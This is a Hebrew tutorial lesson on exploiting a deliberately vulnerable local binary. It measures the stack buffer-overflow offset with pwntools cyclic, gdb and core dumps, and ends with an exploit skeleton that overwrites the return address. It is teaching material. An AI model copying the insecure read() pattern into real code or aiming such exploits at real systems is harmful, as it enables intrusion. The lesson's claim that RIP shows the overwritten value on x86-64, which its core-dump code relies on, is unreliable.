לדלג לתוכן

2.2 מציאת offset עם cyclic הרצאה

בשיעור הקודם ראינו את האנטומיה של buffer overflow ואיך משיגים שליטה מלאה ב-RIP. אבל דילגנו על שאלה מעשית וקריטית: בדיוק כמה בתים צריך לכתוב עד שנגיע לreturn address? אם נחטיא בבית אחד, נדרוס את הכתובת בצורה שגויה והכל יתפוצץ. בשיעור הזה נלמד את הדרך המקצועית והאמינה למצוא את ה-offset המדויק בירייה אחת, בלי לנחש ובלי לספור ידנית: רצפי דה-ברוין והכלי cyclic של pwntools. בדרך נלמד גם להפעיל ולקרוא core dumps, כי לפעמים אין לנו gdb מחובר בזמן הקריסה.

לאורך כל השיעור נעבוד עם בינארי דמו פשוט. הנחות ההגנה: NX פעיל (ברירת מחדל), בלי canary, בלי PIE. את ASLR של המערכת נשאיר דלוק, כי ה-offset עד הreturn address הוא תכונה של מבנה ה-frame ולא משתנה בין הרצות גם כשה-stack עצמו זז.

// vuln.c
#include <stdio.h>
#include <unistd.h>

void vuln(void) {
    char buf[64];
    read(0, buf, 256);   // reads far more than 64 bytes
}

int main(void) {
    vuln();
    return 0;
}
gcc -fno-stack-protector -no-pie -o vuln vuln.c
checksec ./vuln

הפלט של checksec אמור להראות משהו כזה, וכדאי להסתכל עליו לפני כל exploit:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

הבעיה - למה offset מדויק זה הכל

נזכיר את מבנה ה-frame של vuln על מכונת 64 ביט:

high addresses
+---------------------------+
| return address             |  <-- 8 bytes, this is what we want to overwrite
+---------------------------+
| saved rbp                 |  <-- 8 bytes
+---------------------------+
| char buf[64]              |  <-- our input starts here
+---------------------------+
low addresses

כדי לדרוס את הreturn address בערך שאנחנו בוחרים, צריך קודם למלא בדיוק את כל מה שמתחתיה: את 64 הבתים של buf ואת 8 הבתים של saved rbp. סכום ביניים: 72 בתים. הבית ה-73 ואילך כבר נופל על הreturn address עצמה. המספר הזה, 72, הוא ה-offset, וכל המשחק שלנו תלוי בו.

הבעיה: את המספר 72 אנחנו עדיין לא יודעים. buf יכול להיות בגודל אחר, הקומפיילר יכול להוסיף padding לalignment, ולפעמים יש עוד משתנים מקומיים שדוחפים את הbuffer למטה. אנחנו צריכים דרך אמינה למדוד את ה-offset הזה במקום לנחש אותו.


הגישה התמימה ולמה היא כואבת

הרעיון הראשון שעולה: נשלח מחרוזת ארוכה של A-ים, נראה שהתוכנית קורסת, ואז נשחק עם האורך עד שנבין. למשל, נשלח 200 בתים, נראה ש-RIP מכיל 0x4141414141414141, ונדע שדרסנו את הreturn address. יופי, אבל כמה בתים בדיוק היו מיותרים? כל ה-A-ים נראים אותו דבר, אז אי אפשר לדעת איזה A נחת על הreturn address.

הדרך הידנית היא חיפוש בינארי: נשלח 100 בתים, ואם קרס נחתוך ל-84, נבדוק, נעלה ל-92, וכן הלאה. זה עובד, אבל זה איטי, מייגע, ומזמין טעויות. ברגע שהbuffer גדול או שיש כמה שדות שרוצים לדרוס בנפרד, זה הופך לסיוט. חייבים משהו חכם יותר.


רצפי דה-ברוין - De Bruijn sequences

הנה הטריק היפה. במקום לשלוח בתים זהים, נשלח רצף שבו כל תת-מחרוזת באורך קבוע מופיעה בדיוק פעם אחת. רצף כזה נקרא רצף דה-ברוין. בזכות התכונה הזו, כל "חלון" של ארבעה בתים ברצף הוא ייחודי וחד-משמעי, ומזהה בדיוק את המיקום שלו לאורך הרצף.

עכשיו נחשוב מה זה נותן לנו. נמלא את הbuffer ברצף דה-ברוין. כשהתוכנית קורסת, ארבעת הבתים שנחתו על הreturn address (או ליתר דיוק, על ה-RIP) הם חלון ייחודי אחד. אנחנו קוראים את הערך הזה מתוך הקריסה, מחפשים איפה החלון הזה יושב ברצף המקורי, וזהו: המיקום שלו הוא בדיוק ה-offset. קריסה אחת, תשובה מדויקת, בלי חיפוש בינארי.

בואו נראה איך רצף כזה נראה. עם אלפבית של אותיות קטנות ואורך חלון של 4, הרצף מתחיל כך:

aaaabaaacaaadaaaeaaaf ... 

שימו לב לתבנית aaaa, אחר כך baaa, caaa, daaa. כל רביעייה שונה. אם ניקח כל ארבעה בתים רצופים במקום כלשהו ברצף, הם יופיעו רק שם ובשום מקום אחר. מספר החלונות האפשריים עם אלפבית של 26 אותיות וחלון של 4 הוא 26 בחזקת 4, כלומר 456976 בתים ייחודיים. יותר ממספיק לכל overflow סבירה.

למה חלון של 4 ולא 8? כי במערכת 32 ביט כתובת היא 4 בתים, וזה בדיוק גודל החלון הטבעי. במערכת 64 ביט כתובת היא 8 בתים, אבל גם שם 4 בתים תחתונים מספיקים לזהות את המיקום באופן חד-משמעי, כפי שנראה מיד. אם רוצים ייחודיות מלאה על פני 8 בתים, אפשר לבקש חלון של 8 במפורש.


הכלי cyclic של pwntools

הספרייה pwntools עושה את כל העבודה בשתי פונקציות. cyclic(n) מייצרת רצף דה-ברוין באורך n, ו-cyclic_find(x) מקבלת חלון ומחזירה את המיקום שלו ברצף.

from pwn import *

context.arch = 'amd64'          # sets the endianness and word size for the operations

pattern = cyclic(200)
print(pattern)
# b'aaaabaaacaaadaaaeaaaf...' of length 200

# suppose we read from the crash that the lower 4 bytes of RIP are 0x61616173
offset = cyclic_find(0x61616173)
print(offset)                   # prints the exact position in the sequence

כמה נקודות עדינות שחשוב להבין:

הפונקציה cyclic_find מקבלת גם מספר שלם וגם בתים. אם תעבירו לה מספר, היא תארוז אותו לפי ה-context הנוכחי (little-endian כברירת מחדל), ותחפש את הבתים המתקבלים ברצף. לכן חשוב שה-context.arch יהיה מוגדר נכון לפני הקריאה.

ברירת המחדל של גודל החלון היא 4, בהתאמה למערכת 32 ביט. במערכת 64 ביט, כשהreturn address נדרסת, RIP מקבל 8 בתים. ארבעת הבתים התחתונים (הראשונים בזיכרון) הם החלון הייחודי שמזהה את ה-offset. לכן ניקח מ-RIP רק את 32 הביט התחתונים ונעביר אותם ל-cyclic_find. אם אתם רוצים לעבוד עם כל 8 הבתים, אפשר לייצר רצף עם חלון של 8:

pattern = cyclic(200, n=8)      # every 8-byte window is unique
# ...then search with the same n:
offset = cyclic_find(rip_full_8_bytes, n=8)

עצה מעשית: אם משתמשים בברירת המחדל (חלון 4), פשוט קחו את rip & 0xffffffff ותנו ל-cyclic_find. אם עברתם ל-n=8, זכרו להעביר את אותו n גם ל-cyclic_find, אחרת החיפוש ייכשל.


מציאת ה-offset עם gdb ו-pwndbg

הדרך הראשונה והמהירה: מריצים את הבינארי תחת gdb (עם pwndbg מותקן), מזינים את הרצף, וקוראים את ה-offset ישירות מהקריסה.

נכין קובץ קלט עם הרצף:

from pwn import *
context.arch = 'amd64'
open('pat', 'wb').write(cyclic(200))

עכשיו נריץ תחת gdb ונזין את הקובץ כקלט התקני:

gdb ./vuln
pwndbg> run < pat

התוכנית תקרוס. pwndbg יראה לנו את מצב האוגרים ברגע הקריסה, ובמערכת 64 ביט זה ייראה בערך כך:

 ► 0x40118a <vuln+37>    ret
    ...
*RIP  0x61616173...     <-- the overwritten value, not a valid address -> crash
*RSP  0x7fffffffe1c8

יופי, יש לנו את הערך שנחת על RIP. נשלוף את ארבעת הבתים התחתונים ונשאל את pwndbg איפה הם ברצף. ל-pwndbg יש פקודת cyclic מובנית עם דגל -l (lookup):

pwndbg> cyclic -l 0x61616173
Finding cyclic pattern of 4 bytes: b'saaa' (hex: 0x73616161)
Found at offset 72

זהו. ה-offset הוא 72, בדיוק כמו שחישבנו קודם (64 בתים buffer ועוד 8 בתים saved rbp). אותו דבר אפשר לעשות מ-Python:

>>> from pwn import *
>>> context.arch = 'amd64'
>>> cyclic_find(0x61616173)
72

הערה חשובה על 64 ביט: הערך שנדרס על הreturn address הוא כתובת לא חוקית (non-canonical), ולכן ה-ret נכשל כבר בניסיון לקפוץ אליה. ברוב הבניינים pwndbg יציג את הערך הזה ב-RIP, ואפשר לקרוא אותו משם. אם מסיבה כלשהי RIP לא מכיל את התבנית, אפשר להסתכל על $rsp (שמצביע לבתים שבאו מיד אחרי הreturn address) או פשוט לעבור לשיטת ה-core dump שנראה עכשיו.


הפעלת core dumps

מה עושים כשאין gdb מחובר? למשל כשמריצים exploit מול process רגיל, או כשהקריסה קרתה בסביבה מרוחקת. כאן נכנס ה-core dump: קובץ תמונת מצב שהמערכת מייצרת ברגע הקריסה, ובו כל האוגרים והזיכרון של התהליך. אם נצליח לגרום למערכת לשמור אותו, נחלץ ממנו את ה-offset אחרי מעשה.

שני דברים צריכים להיות במקום. ראשית, מגבלת גודל ה-core צריכה להיות פתוחה:

ulimit -c unlimited

הפקודה ulimit -c שולטת בגודל המקסימלי של קובץ core שהמערכת תכתוב. ברירת המחדל היא לרוב 0, כלומר "אל תכתוב core בכלל". unlimited מבטל את המגבלה. שימו לב שזה חל רק על ה-shell הנוכחי ובניו שלו.

שנית, צריך להבין לאן ה-core נכתב. את זה קובע הkernel דרך core_pattern:

cat /proc/sys/kernel/core_pattern

במערכות מודרניות רבות תראו כאן משהו שמתחיל בצינור, למשל |/usr/lib/systemd/systemd-coredump ... או |/usr/share/apport/apport .... זה אומר שה-core לא נכתב כקובץ פשוט בתיקייה שלכם אלא נשלח לשירות מערכת. זה מעצבן לעבודה מקומית. כדי לקבל קובץ core פשוט בתיקייה הנוכחית, נשנה את התבנית (דורש הרשאת root):

echo core | sudo tee /proc/sys/kernel/core_pattern

עכשיו ה-core ייכתב כקובץ בשם core בתיקיית העבודה של התהליך שקרס. אפשר גם להוסיף מזהים לשם הקובץ עם תבניות: %e שם התוכנית, %p מזהה התהליך, %t חותמת זמן. לדוגמה core.%e.%p. יש גם דגל נלווה:

cat /proc/sys/kernel/core_uses_pid   # if 1, adds .PID to the name even without %p in the pattern

עם ההגדרות במקום, פשוט נריץ ונזין את הרצף:

./vuln < pat
# Segmentation fault (core dumped)
ls -l core*

הכיתוב (core dumped) הוא הסימן שהצלחנו. אם רואים רק Segmentation fault בלי הכיתוב הזה, כנראה ש-ulimit -c עדיין 0 או שה-core_pattern שולח למקום אחר.


חילוץ ה-offset מ-coredump

עכשיו יש לנו קובץ core, וצריך לשלוף ממנו את הערך שנחת על RIP. שתי דרכים.

הדרך הראשונה עם gdb: פותחים את הבינארי יחד עם ה-core, וקוראים את האוגרים ישירות. ה-core כבר מכיל את הערכים ברגע הקריסה, אין צורך להריץ שוב.

gdb ./vuln core
pwndbg> info registers rip rsp
rip  0x61616173...
rsp  0x7fffffffe1c8

pwndbg> cyclic -l 0x61616173
Found at offset 72

הדרך השנייה, הנקייה יותר לאוטומציה, עם pwntools. למחלקה Coredump יש גישה ישירה לכל האוגרים:

from pwn import *
context.arch = 'amd64'

core = Coredump('./core')
log.info("RIP = %#x", core.rip)
log.info("RSP = %#x", core.rsp)

offset = cyclic_find(core.rip & 0xffffffff)   # window of 4, take the lower 32 bits
log.info("offset to return address = %d", offset)   # 72

יש גם קיצור מאוד נוח: כשמריצים process דרך pwntools והוא קורס, pwntools יכול לאסוף עבורכם את ה-core אוטומטית דרך התכונה corefile, בלי להתעסק עם ulimit ידנית:

from pwn import *
context.arch = 'amd64'

io = process('./vuln')
io.sendline(cyclic(200))
io.wait()                     # wait for the process to finish (it will crash)

core = io.corefile            # pwntools collects the core for us
offset = cyclic_find(core.rip & 0xffffffff)
log.success("offset = %d", offset)   # 72

התכונה core.fault_addr נותנת את הכתובת שגרמה לתקלה, שבמקרה של קפיצה לכתובת שדרסנו היא בדיוק הערך שנחת על RIP. אפשר להשתמש גם בה, אבל core.rip הוא הבחירה הישירה והברורה כאן.


ה-offset לאוגר שמור לעומת return address, ו-32 מול 64 ביט

נקודה שמבלבלת מתחילים: לא כל offset שווה. תלוי מה דרסנו כשקראנו את הערך.

אם הoverflow שלנו קצרה בדיוק ב-8 בתים, נדרוס את saved rbp אבל לא את הreturn address. במקרה כזה, אחרי שהפונקציה משחזרת את rbp ומבצעת ret, ה-ret יקפוץ לכתובת התקינה, והקריסה (אם תהיה) תיראה אחרת לגמרי. אם נסתכל על האוגר rbp אחרי הקריסה נראה שם את התבנית, וה-offset שנקבל ממנו קטן ב-8 מה-offset לreturn address. הנה למה זה חשוב: כשקוראים ערך מהקריסה, תמיד לוודא מאיזה אוגר לקחנו אותו.

+---------------------------+
| return address              |  <-- offset 72  (this is what we want)
+---------------------------+
| saved rbp                 |  <-- offset 64  (8 bytes less)
+---------------------------+
| char buf[64]              |  <-- offset 0
+---------------------------+

היתרון הגדול של cyclic הוא שהוא פותר את הבלבול הזה בשבילנו: הוא מודד בדיוק את המרחק מתחילת הקלט עד החלון שנחת במקום שבדקנו, אז אין צורך לזכור אם saved rbp הוא 4 או 8 בתים.

וזה מוביל להבדל בין 32 ל-64 ביט:

במערכת 64 ביט כתובת היא 8 בתים, saved rbp הוא 8 בתים, והreturn address נמצאת ב-rbp+8. אנחנו קוראים את הערך מ-rip שבתוך ה-core, לוקחים 32 ביט תחתונים, ומזינים ל-cyclic_find. הכתובות שנכתוב בהמשך יהיו עם p64.

במערכת 32 ביט כתובת היא 4 בתים, saved ebp הוא 4 בתים, והreturn address ב-ebp+4. כאן החיים אפילו יותר פשוטים: החלון של 4 בתים מתלבש בדיוק על eip, אז קוראים את eip כמו שהוא ומזינים ישירות ל-cyclic_find. הכתובות בהמשך יהיו עם p32. שימו לב שבינארי 32 ביט מעביר ארגומנטים על המחסנית (cdecl), ולכן לפעמים ה-offset שנחפש הוא לא עד הreturn address אלא עד ארגומנט של פונקציה, כמו באתגר bof מ-pwnable.kr. גם שם אותה שיטה בדיוק עובדת: ממלאים ברצף, קוראים איזה חלון נחת על השדה שרוצים לשלוט בו, ומחשבים offset.


חישוב ידני מה-frame - כגיבוי ולהבנה

לפעמים כדאי לאמת את ה-offset גם בלי הרצה בכלל, ישירות מהדיסאסמבלי. זה בונה אינטואיציה וגם מציל אתכם כשאין סביבת הרצה נוחה. נפרק את vuln:

objdump -d ./vuln | grep -A15 '<vuln>:'
push   rbp
mov    rbp,rsp
sub    rsp,0x40
lea    rax,[rbp-0x40]      ; address of buf
mov    edx,0x100
mov    rsi,rax
mov    edi,0x0
call   read

מכאן קוראים את הכל. ההוראה lea rax,[rbp-0x40] מגלה ש-buf יושב ב-rbp-0x40, כלומר 64 בתים מתחת ל-rbp השמור. saved rbp נמצא בדיוק ב-rbp, והreturn address ב-rbp+8. לכן המרחק מתחילת buf עד הreturn address הוא 0x40 + 8 = 0x48 = 72. בדיוק מה ש-cyclic נתן לנו. שימו לב שהערך של sub rsp, ... יכול להיות גדול מ-0x40 בגלל alignment המחסנית, אבל זה לא משנה את החישוב, כי אנחנו מודדים יחסית ל-rbp דרך ה-lea.


שלד exploit מלא

נחבר את הכל לתבנית עבודה שתשרת אתכם בכל אתגר overflow. שלב א', מוצאים את ה-offset (פעם אחת). שלב ב', בונים את ה-payload עם ה-offset שמצאנו.

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF('./vuln')      # automatically determines arch, bits, endianness

def find_offset():
    io = process(elf.path)
    io.sendline(cyclic(200))
    io.wait()
    core = io.corefile
    off = cyclic_find(core.rip & 0xffffffff)
    log.success("offset = %d", off)
    return off

offset = find_offset()                     # in our case returns 72

# --- building the payload with the offset we found ---
target = 0xdeadbeef                        # the address we want to jump to (next lesson: ret2win)

payload  = cyclic(offset)                  # fills exactly up to the return address
payload += p64(target)                     # overwrites the return address

io = process(elf.path)
io.sendline(payload)
io.interactive()

שימו לב לרעיון: אותו cyclic(offset) שמשמש למילוי הוא בדיוק באורך שמצאנו, אז הבית הבא נופל על הreturn address בדיוק. בשיעור הבא נמלא את target בכתובת אמיתית ונבצע ret2win. כרגע המטרה הייתה למצוא את ה-offset בצורה אמינה, וזה בדיוק מה שיש לנו עכשיו.


סיכום

  • ה-offset הוא מספר הבתים מתחילת הקלט עד השדה שרוצים לדרוס (בדרך כלל הreturn address). בלעדיו אין exploit.
  • ניחוש וחיפוש בינארי עם A-ים עובד אבל איטי ומזמין טעויות. יש דרך טובה יותר.
  • רצף דה-ברוין הוא רצף שבו כל חלון באורך קבוע ייחודי, כך שחלון בודד מזהה מיקום באופן חד-משמעי.
  • הכלי cyclic(n) מייצר את הרצף, ו-cyclic_find(x) מחזיר את ה-offset. תמיד להגדיר context.arch קודם.
  • ב-gdb/pwndbg: מריצים עם הרצף, קוראים את הערך שנחת על RIP, ומריצים cyclic -l <value> או cyclic_find.
  • קובץ core: ulimit -c unlimited פותח את המגבלה, ו-core_pattern קובע לאן ה-core נכתב. לשנות ל-core לקובץ פשוט בתיקייה.
  • מחלצים את ה-offset מ-core עם gdb (info registers) או עם pwntools (Coredump / io.corefile).
  • זהירות מה מדדתם: offset ל-saved rbp קטן ב-8 (או ב-4 ב-32 ביט) מ-offset לreturn address.
  • ב-64 ביט לוקחים 32 ביט תחתונים של RIP (חלון 4), משתמשים ב-p64. ב-32 ביט קוראים את EIP כמו שהוא ומשתמשים ב-p32.
  • תמיד אפשר לאמת ידנית מהדיסאסמבלי: lea שמראה את מיקום הbuffer יחסית ל-rbp נותן את ה-offset בלי להריץ כלום.